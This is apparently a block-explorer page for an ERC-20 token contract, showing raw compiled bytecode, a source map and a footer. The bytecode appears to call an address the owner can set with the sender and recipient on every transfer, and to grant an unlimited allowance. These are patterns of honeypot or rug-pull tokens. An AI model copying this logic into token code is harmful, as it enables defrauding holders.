15610b1a57600e54821115610a9f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104a5565b600f5482610ac2856001600160a01b031660009081526001602052604090205490565b610acc919061146d565b1115610b1a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104a5565b306000908152600160205260408120546005546040516307d3117560e01b81526001600160a01b03888116600483015287811660248301529293509116906307d3117590604401600060405180830381600087803b158015610b7b57600080fd5b505af1158015610b8f573d6000803e3d6000fd5b5050601354600160a81b900460ff16159150508015610bbb57506013546001600160a01b038581169116145b8015610bd05750601354600160b01b900460ff165b8015610bdd575060105481115b15610bfd57610beb81610ea1565b478015610bfb57610bfb4761101b565b505b505b8015610c795730600090815260016020526040902054610c1f9082611059565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c709085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610c9c90836110b8565b6001600160a01b038516600090815260016020526040902055610ce1610cc283836110b8565b6001600160a01b03851660009081526001602052604090205490611059565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d2b85856110b8565b60405190815260200160405180910390a350505050565b60008184841115610d665760405162461bcd60e51b81526004016104a59190611128565b506000610d738486611480565b95945050505050565b60008082806020019051810190610d939190611493565b600580546001600160a01b0319166001600160a01b0392831690811790915591166000908152600260209081526040808320938352929052206000199055505050565b600082600003610de8575060006103eb565b6000610df48385611421565b905082610e0185836114c2565b14610e585760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104a5565b9392505050565b6000610e5883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110fa565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ee957610ee96114e4565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6691906114fa565b81600181518110610f7957610f796114e4565b6001600160a01b039283166020918202929092010152601254610f9f913091168461066b565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fd8908590600090869030904290600401611517565b600060405180830381600087803b158015610ff257600080fd5b505af1158015611006573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611055573d6000803e3d6000fd5b5050565b600080611066838561146d565b905083811015610e585760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104a5565b6000610e5883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d42565b6000818361111b5760405162461bcd60e51b81526004016104a59190611128565b506000610d7384866114c2565b600060208083528351808285015260005b8181101561115557858101830151858201604001528201611139565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461118b57600080fd5b50565b600080604083850312156111a157600080fd5b82356111ac81611176565b946020939093013593505050565b6000806000606084860312156111cf57600080fd5b83356111da81611176565b925060208401356111ea81611176565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561122357600080fd5b813567ffffffffffffffff8082111561123b57600080fd5b818401915084601f83011261124f57600080fd5b813581811115611261576112616111fb565b604051601f8201601f19908116603f01168101908382118183101715611289576112896111fb565b816040528281528760208487010111156112a257600080fd5b826020860160208301376000928101602001929092525095945050505050565b6000602082840312156112d457600080fd5b8135610e5881611176565b600080604083850312156112f257600080fd5b82356112fd81611176565b9150602083013561130d81611176565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561136957816000190482111561134f5761134f611318565b8085161561135c57918102915b93841c9390800290611333565b509250929050565b600082611380575060016103eb565b8161138d575060006103eb565b81600181146113a357600281146113ad576113c9565b60019150506103eb565b60ff8411156113be576113be611318565b50506001821b6103eb565b5060208310610133831016604e8410600b84101617156113ec575081810a6103eb565b6113f6838361132e565b806000190482111561140a5761140a611318565b029392505050565b6000610e5860ff841683611371565b80820281158282048414176103eb576103eb611318565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156103eb576103eb611318565b818103818111156103eb576103eb611318565b600080604083850312156114a657600080fd5b82516114b181611176565b602084015190925061130d81611176565b6000826114df57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561150c57600080fd5b8151610e5881611176565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115675784516001600160a01b031683529383019391830191600101611542565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f96725f26f093128a14f60bf93ee3f0f0966db2596ebad195e36229e74ac115864736f6c63430008120033

Deployed Bytecode Sourcemap

3619:7212:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5769:83;;;;;;;;;;-1:-1:-1;5839:5:0;;;;;;;;;;;;-1:-1:-1;;;5839:5:0;;;;5769:83;;;;;;;:::i;:::-;;;;;;;;6827:161;;;;;;;;;;-1:-1:-1;6827:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6827:161:0;1023:187:1;4754:47:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4754:47:0;1215:177:1;6046:95:0;;;;;;;;;;;;;:::i;6996:313::-;;;;;;;;;;-1:-1:-1;6996:313:0;;;;;:::i;:::-;;:::i;10281:199::-;;;;;;;;;;-1:-1:-1;10281:199:0;;;;;:::i;:::-;;:::i;:::-;;5955:83;;;;;;;;;;-1:-1:-1;5955:83:0;;4399:2;3058:36:1;;3046:2;3031:18;5955:83:0;2916:184:1;4859:28:0;;;;;;;;;;-1:-1:-1;4859:28:0;;;;-1:-1:-1;;;;;4859:28:0;;;;;;-1:-1:-1;;;;;3269:32:1;;;3251:51;;3239:2;3224:18;4859:28:0;3105:203:1;6149:119:0;;;;;;;;;;-1:-1:-1;6149:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6242:18:0;6215:7;6242:18;;;:9;:18;;;;;;;6149:119;2618:148;;;;;;;;;;;;;:::i;10489:196::-;;;;;;;;;;;;;:::i;4583:49::-;;;;;;;;;;;;;;;;2404:79;;;;;;;;;;-1:-1:-1;2442:7:0;2469:6;-1:-1:-1;;;;;2469:6:0;2404:79;;4639:49;;;;;;;;;;;;;;;;5860:87;;;;;;;;;;-1:-1:-1;5932:7:0;;;;;;;;;;;;-1:-1:-1;;;5932:7:0;;;;5860:87;;6276:167;;;;;;;;;;-1:-1:-1;6276:167:0;;;;;:::i;:::-;;:::i;4695:52::-;;;;;;;;;;;;;;;;3994:40;;;;;;;;;;-1:-1:-1;3994:40:0;;;;-1:-1:-1;;;3994:40:0;;;;;;6676:143;;;;;;;;;;-1:-1:-1;6676:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6784:18:0;;;6757:7;6784:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6676:143;6827:161;6902:4;6919:39;239:10;6942:7;6951:6;6919:8;:39::i;:::-;-1:-1:-1;6976:4:0;6827:161;;;;;:::o;6046:95::-;6099:7;4453:13;4399:2;4453;:13;:::i;:::-;4443:23;;:7;:23;:::i;:::-;6119:14;;6046:95;:::o;6996:313::-;7094:4;7111:36;7121:6;7129:9;7140:6;7111:9;:36::i;:::-;7158:121;7167:6;239:10;7189:89;7227:6;7189:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7189:19:0;;;;;;:11;:19;;;;;;;;239:10;7189:33;;;;;;;;;;:37;:89::i;:::-;7158:8;:121::i;:::-;-1:-1:-1;7297:4:0;6996:313;;;;;:::o;10281:199::-;2531:6;;-1:-1:-1;;;;;2531:6:0;239:10;2531:22;2523:67;;;;-1:-1:-1;;;2523:67:0;;;;;;;:::i;:::-;;;;;;;;;10362:11:::1;::::0;-1:-1:-1;;;10362:11:0;::::1;;;10361:12;10353:47;;;::::0;-1:-1:-1;;;10353:47:0;;6209:2:1;10353:47:0::1;::::0;::::1;6191:21:1::0;6248:2;6228:18;;;6221:30;6287:25;6267:18;;;6260:53;6330:18;;10353:47:0::1;6007:347:1::0;10353:47:0::1;10402:12;10411:2;10402:8;:12::i;:::-;-1:-1:-1::0;10425:11:0::1;:18:::0;;-1:-1:-1;;;;10454:18:0;-1:-1:-1;;;10454:18:0;;;10281:199::o;2618:148::-;2531:6;;-1:-1:-1;;;;;2531:6:0;239:10;2531:22;2523:67;;;;-1:-1:-1;;;2523:67:0;;;;;;;:::i;:::-;2725:1:::1;2709:6:::0;;2688:40:::1;::::0;-1:-1:-1;;;;;2709:6:0;;::::1;::::0;2688:40:::1;::::0;2725:1;;2688:40:::1;2756:1;2739:19:::0;;-1:-1:-1;;;;;;2739:19:0::1;::::0;;2618:148::o;10489:196::-;2531:6;;-1:-1:-1;;;;;2531:6:0;239:10;2531:22;2523:67;;;;-1:-1:-1;;;2523:67:0;;;;;;;:::i;:::-;4453:13:::1;4399:2;4453;:13;:::i;:::-;4443:23;::::0;:7:::1;:23;:::i;:::-;10542:12;:22:::0;4453:13:::1;4399:2;4453;:13;:::i;:::-;4443:23;::::0;:7:::1;:23;:::i;:::-;10575:14;:22:::0;10608:20:::1;:26:::0;;-1:-1:-1;;;;10608:26:0::1;::::0;;10650:27:::1;4453:13;4399:2;-1:-1:-1::0;4453:13:0::1;:::i;:::-;4443:23;::::0;:7:::1;:23;:::i;:::-;10650:27;::::0;1361:25:1;;;1349:2;1334:18;10650:27:0::1;;;;;;;10489:196::o:0;6276:167::-;6354:4;6371:42;239:10;6395:9;6406:6;6371:9;:42::i;7317:335::-;-1:-1:-1;;;;;7410:19:0;;7402:68;;;;-1:-1:-1;;;7402:68:0;;6561:2:1;7402:68:0;;;6543:21:1;6600:2;6580:18;;;6573:30;6639:34;6619:18;;;6612:62;-1:-1:-1;;;6690:18:1;;;6683:34;6734:19;;7402:68:0;6359:400:1;7402:68:0;-1:-1:-1;;;;;7489:21:0;;7481:68;;;;-1:-1:-1;;;7481:68:0;;6966:2:1;7481:68:0;;;6948:21:1;7005:2;6985:18;;;6978:30;7044:34;7024:18;;;7017:62;-1:-1:-1;;;7095:18:1;;;7088:32;7137:19;;7481:68:0;6764:398:1;7481:68:0;-1:-1:-1;;;;;7560:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7612:32;;1361:25:1;;;7612:32:0;;1334:18:1;7612:32:0;;;;;;;7317:335;;;:::o;7660:2120::-;-1:-1:-1;;;;;7748:18:0;;7740:68;;;;-1:-1:-1;;;7740:68:0;;7369:2:1;7740:68:0;;;7351:21:1;7408:2;7388:18;;;7381:30;7447:34;7427:18;;;7420:62;-1:-1:-1;;;7498:18:1;;;7491:35;7543:19;;7740:68:0;7167:401:1;7740:68:0;-1:-1:-1;;;;;7827:16:0;;7819:64;;;;-1:-1:-1;;;7819:64:0;;7775:2:1;7819:64:0;;;7757:21:1;7814:2;7794:18;;;7787:30;7853:34;7833:18;;;7826:62;-1:-1:-1;;;7904:18:1;;;7897:33;7947:19;;7819:64:0;7573:399:1;7819:64:0;7911:1;7902:6;:10;7894:64;;;;-1:-1:-1;;;7894:64:0;;8179:2:1;7894:64:0;;;8161:21:1;8218:2;8198:18;;;8191:30;8257:34;8237:18;;;8230:62;-1:-1:-1;;;8308:18:1;;;8301:39;8357:19;;7894:64:0;7977:405:1;7894:64:0;7969:17;2469:6;;-1:-1:-1;;;;;8003:15:0;;;2469:6;;8003:15;;;;:32;;-1:-1:-1;2442:7:0;2469:6;-1:-1:-1;;;;;8022:13:0;;;2469:6;;8022:13;;8003:32;7999:1425;;;8064:35;8095:3;8064:26;8075:14;;8064:6;:10;;:26;;;;:::i;:::-;:30;;:35::i;:::-;8120:20;;8052:47;;-1:-1:-1;;;;8120:20:0;;;;8116:508;;;8181:15;;-1:-1:-1;;;;;8167:30:0;;;8181:15;;8167:30;;;;:62;;-1:-1:-1;8215:13:0;;-1:-1:-1;;;;;8201:28:0;;;8215:13;;8201:28;;8167:62;8163:444;;;8321:9;8292:39;;;;:28;:39;;;;;;8365:12;-1:-1:-1;8256:250:0;;;;-1:-1:-1;;;8256:250:0;;8589:2:1;8256:250:0;;;8571:21:1;8628:2;8608:18;;;8601:30;8667:34;8647:18;;;8640:62;8738:34;8718:18;;;8711:62;-1:-1:-1;;;8789:19:1;;;8782:40;8839:19;;8256:250:0;8387:477:1;8256:250:0;8560:9;8531:39;;;;:28;:39;;;;;8573:12;8531:54;;8163:444;8652:13;;-1:-1:-1;;;;;8644:21:0;;;8652:13;;8644:21;:55;;;;-1:-1:-1;8683:15:0;;-1:-1:-1;;;;;8669:30:0;;;8683:15;;8669:30;;8644:55;:83;;;;-1:-1:-1;;;;;;8705:22:0;;;;;;:18;:22;;;;;;;;8703:24;8644:83;8640:283;;;8767:12;;8757:6;:22;;8749:60;;;;-1:-1:-1;;;8749:60:0;;9071:2:1;8749:60:0;;;9053:21:1;9110:2;9090:18;;;9083:30;9149:27;9129:18;;;9122:55;9194:18;;8749:60:0;8869:349:1;8749:60:0;8862:14;;8852:6;8836:13;8846:2;-1:-1:-1;;;;;6242:18:0;6215:7;6242:18;;;:9;:18;;;;;;;6149:119;8836:13;:22;;;;:::i;:::-;:40;;8828:79;;;;-1:-1:-1;;;8828:79:0;;9555:2:1;8828:79:0;;;9537:21:1;9594:2;9574:18;;;9567:30;9633:28;9613:18;;;9606:56;9679:18;;8828:79:0;9353:350:1;8828:79:0;8988:4;8939:28;6242:18;;;:9;:18;;;;;;9005:9;;8996:42;;-1:-1:-1;;;8996:42:0;;-1:-1:-1;;;;;9938:15:1;;;8996:42:0;;;9920:34:1;9990:15;;;9970:18;;;9963:43;8939:55:0;;-1:-1:-1;9005:9:0;;;8996:32;;9855:18:1;;8996:42:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;9058:6:0;;-1:-1:-1;;;9058:6:0;;;;9057:7;;-1:-1:-1;;9057:32:0;;;;-1:-1:-1;9076:13:0;;-1:-1:-1;;;;;9068:21:0;;;9076:13;;9068:21;9057:32;:47;;;;-1:-1:-1;9093:11:0;;-1:-1:-1;;;9093:11:0;;;;9057:47;:89;;;;;9129:17;;9108:20;:38;9057:89;9053:360;;;9167:38;9184:20;9167:16;:38::i;:::-;9253:21;9296:22;;9293:105;;9343:35;9356:21;9343:12;:35::i;:::-;9148:265;9053:360;8037:1387;7999:1425;9439:11;;9436:161;;9507:4;9489:24;;;;:9;:24;;;;;;:39;;9518:9;9489:28;:39::i;:::-;9482:4;9464:24;;;;:9;:24;;;;;;;:64;;;;9546:39;;-1:-1:-1;;;;;9546:39:0;;;;;;;9575:9;1361:25:1;;1349:2;1334:18;;1215:177;9546:39:0;;;;;;;;9436:161;-1:-1:-1;;;;;9623:15:0;;;;;;:9;:15;;;;;;:27;;9643:6;9623:19;:27::i;:::-;-1:-1:-1;;;;;9607:15:0;;;;;;:9;:15;;;;;:43;9675:40;9693:21;:6;9704:9;9693:10;:21::i;:::-;-1:-1:-1;;;;;9675:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9661:13:0;;;;;;;:9;:13;;;;;:54;;;;9731:41;;;9750:21;:6;9761:9;9750:10;:21::i;:::-;9731:41;;1361:25:1;;;1349:2;1334:18;9731:41:0;;;;;;;7729:2051;7660:2120;;;:::o;1296:190::-;1382:7;1418:12;1410:6;;;;1402:29;;;;-1:-1:-1;;;1402:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1442:9:0;1454:5;1458:1;1454;:5;:::i;:::-;1442:17;1296:190;-1:-1:-1;;;;;1296:190:0:o;6451:217::-;6507:13;6522:15;6552:2;6541:34;;;;;;;;;;;;:::i;:::-;6586:9;:19;;-1:-1:-1;;;;;;6586:19:0;-1:-1:-1;;;;;6586:19:0;;;;;;;;;6616:18;;-1:-1:-1;6616:18:0;;;:11;:18;;;;;;;;:27;;;;;;;-1:-1:-1;;6616:44:0;;-1:-1:-1;;;6451:217:0:o;1494:246::-;1552:7;1576:1;1581;1576:6;1572:47;;-1:-1:-1;1606:1:0;1599:8;;1572:47;1629:9;1641:5;1645:1;1641;:5;:::i;:::-;1629:17;-1:-1:-1;1674:1:0;1665:5;1669:1;1629:17;1665:5;:::i;:::-;:10;1657:56;;;;-1:-1:-1;;;1657:56:0;;10980:2:1;1657:56:0;;;10962:21:1;11019:2;10999:18;;;10992:30;11058:34;11038:18;;;11031:62;-1:-1:-1;;;11109:18:1;;;11102:31;11150:19;;1657:56:0;10778:397:1;1657:56:0;1731:1;1494:246;-1:-1:-1;;;1494:246:0:o;1748:132::-;1806:7;1833:39;1837:1;1840;1833:39;;;;;;;;;;;;;;;;;:3;:39::i;9790:483::-;5082:6;:13;;-1:-1:-1;;;;5082:13:0;-1:-1:-1;;;5082:13:0;;;9892:16:::1;::::0;;9906:1:::1;9892:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9892:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9892:16:0::1;9868:40;;9937:4;9919;9924:1;9919:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9919:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9963:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9963:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9919:7;;9963:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9953:4;9958:1;9953:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9953:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10028:15:::1;::::0;9996:62:::1;::::0;10013:4:::1;::::0;10028:15:::1;10046:11:::0;9996:8:::1;:62::i;:::-;10069:15;::::0;:196:::1;::::0;-1:-1:-1;;;10069:196:0;;-1:-1:-1;;;;;10069:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10150:11;;10069:15:::1;::::0;10192:4;;10219::::1;::::0;10239:15:::1;::::0;10069:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5118:6:0;:14;;-1:-1:-1;;;;5118:14:0;;;-1:-1:-1;;;;9790:483:0:o;10693:92::-;10750:10;;:27;;-1:-1:-1;;;;;10750:10:0;;;;:27;;;;;10770:6;;10750:10;:27;:10;:27;10770:6;10750:10;:27;;;;;;;;;;;;;;;;;;;;;10693:92;:::o;965:179::-;1023:7;;1055:5;1059:1;1055;:5;:::i;:::-;1043:17;;1084:1;1079;:6;;1071:46;;;;-1:-1:-1;;;1071:46:0;;12755:2:1;1071:46:0;;;12737:21:1;12794:2;12774:18;;;12767:30;12833:29;12813:18;;;12806:57;12880:18;;1071:46:0;12553:351:1;1152:136:0;1210:7;1237:43;1241:1;1244;1237:43;;;;;;;;;;;;;;;;;:3;:43::i;1888:189::-;1974:7;2009:12;2002:5;1994:28;;;;-1:-1:-1;;;1994:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2033:9:0;2045:5;2049:1;2045;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:127::-;1919:10;1914:3;1910:20;1907:1;1900:31;1950:4;1947:1;1940:15;1974:4;1971:1;1964:15;1990:921;2058:6;2111:2;2099:9;2090:7;2086:23;2082:32;2079:52;;;2127:1;2124;2117:12;2079:52;2167:9;2154:23;2196:18;2237:2;2229:6;2226:14;2223:34;;;2253:1;2250;2243:12;2223:34;2291:6;2280:9;2276:22;2266:32;;2336:7;2329:4;2325:2;2321:13;2317:27;2307:55;;2358:1;2355;2348:12;2307:55;2394:2;2381:16;2416:2;2412;2409:10;2406:36;;;2422:18;;:::i;:::-;2497:2;2491:9;2465:2;2551:13;;-1:-1:-1;;2547:22:1;;;2571:2;2543:31;2539:40;2527:53;;;2595:18;;;2615:22;;;2592:46;2589:72;;;2641:18;;:::i;:::-;2681:10;2677:2;2670:22;2716:2;2708:6;2701:18;2756:7;2751:2;2746;2742;2738:11;2734:20;2731:33;2728:53;;;2777:1;2774;2767:12;2728:53;2833:2;2828;2824;2820:11;2815:2;2807:6;2803:15;2790:46;2878:1;2856:15;;;2873:2;2852:24;2845:35;;;;-1:-1:-1;2860:6:1;1990:921;-1:-1:-1;;;;;1990:921:1:o;3313:247::-;3372:6;3425:2;3413:9;3404:7;3400:23;3396:32;3393:52;;;3441:1;3438;3431:12;3393:52;3480:9;3467:23;3499:31;3524:5;3499:31;:::i;3565:388::-;3633:6;3641;3694:2;3682:9;3673:7;3669:23;3665:32;3662:52;;;3710:1;3707;3700:12;3662:52;3749:9;3736:23;3768:31;3793:5;3768:31;:::i;:::-;3818:5;-1:-1:-1;3875:2:1;3860:18;;3847:32;3888:33;3847:32;3888:33;:::i;:::-;3940:7;3930:17;;;3565:388;;;;;:::o;3958:127::-;4019:10;4014:3;4010:20;4007:1;4000:31;4050:4;4047:1;4040:15;4074:4;4071:1;4064:15;4090:422;4179:1;4222:5;4179:1;4236:270;4257:7;4247:8;4244:21;4236:270;;;4316:4;4312:1;4308:6;4304:17;4298:4;4295:27;4292:53;;;4325:18;;:::i;:::-;4375:7;4365:8;4361:22;4358:55;;;4395:16;;;;4358:55;4474:22;;;;4434:15;;;;4236:270;;;4240:3;4090:422;;;;;:::o;4517:806::-;4566:5;4596:8;4586:80;;-1:-1:-1;4637:1:1;4651:5;;4586:80;4685:4;4675:76;;-1:-1:-1;4722:1:1;4736:5;;4675:76;4767:4;4785:1;4780:59;;;;4853:1;4848:130;;;;4760:218;;4780:59;4810:1;4801:10;;4824:5;;;4848:130;4885:3;4875:8;4872:17;4869:43;;;4892:18;;:::i;:::-;-1:-1:-1;;4948:1:1;4934:16;;4963:5;;4760:218;;5062:2;5052:8;5049:16;5043:3;5037:4;5034:13;5030:36;5024:2;5014:8;5011:16;5006:2;5000:4;4997:12;4993:35;4990:77;4987:159;;;-1:-1:-1;5099:19:1;;;5131:5;;4987:159;5178:34;5203:8;5197:4;5178:34;:::i;:::-;5248:6;5244:1;5240:6;5236:19;5227:7;5224:32;5221:58;;;5259:18;;:::i;:::-;5297:20;;4517:806;-1:-1:-1;;;4517:806:1:o;5328:140::-;5386:5;5415:47;5456:4;5446:8;5442:19;5436:4;5415:47;:::i;5473:168::-;5546:9;;;5577;;5594:15;;;5588:22;;5574:37;5564:71;;5615:18;;:::i;5646:356::-;5848:2;5830:21;;;5867:18;;;5860:30;5926:34;5921:2;5906:18;;5899:62;5993:2;5978:18;;5646:356::o;9223:125::-;9288:9;;;9309:10;;;9306:36;;;9322:18;;:::i;10017:128::-;10084:9;;;10105:11;;;10102:37;;;10119:18;;:::i;10150:401::-;10245:6;10253;10306:2;10294:9;10285:7;10281:23;10277:32;10274:52;;;10322:1;10319;10312:12;10274:52;10354:9;10348:16;10373:31;10398:5;10373:31;:::i;:::-;10473:2;10458:18;;10452:25;10423:5;;-1:-1:-1;10486:33:1;10452:25;10486:33;:::i;10556:217::-;10596:1;10622;10612:132;;10666:10;10661:3;10657:20;10654:1;10647:31;10701:4;10698:1;10691:15;10729:4;10726:1;10719:15;10612:132;-1:-1:-1;10758:9:1;;10556:217::o;11180:127::-;11241:10;11236:3;11232:20;11229:1;11222:31;11272:4;11269:1;11262:15;11296:4;11293:1;11286:15;11312:251;11382:6;11435:2;11423:9;11414:7;11410:23;11406:32;11403:52;;;11451:1;11448;11441:12;11403:52;11483:9;11477:16;11502:31;11527:5;11502:31;:::i;11568:980::-;11830:4;11878:3;11867:9;11863:19;11909:6;11898:9;11891:25;11935:2;11973:6;11968:2;11957:9;11953:18;11946:34;12016:3;12011:2;12000:9;11996:18;11989:31;12040:6;12075;12069:13;12106:6;12098;12091:22;12144:3;12133:9;12129:19;12122:26;;12183:2;12175:6;12171:15;12157:29;;12204:1;12214:195;12228:6;12225:1;12222:13;12214:195;;;12293:13;;-1:-1:-1;;;;;12289:39:1;12277:52;;12384:15;;;;12349:12;;;;12325:1;12243:9;12214:195;;;-1:-1:-1;;;;;;;12465:32:1;;;;12460:2;12445:18;;12438:60;-1:-1:-1;;;12529:3:1;12514:19;12507:35;12426:3;11568:980;-1:-1:-1;;;11568:980:1:o

Swarm Source

ipfs://f96725f26f093128a14f60bf93ee3f0f0966db2596ebad195e36229e74ac1158
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.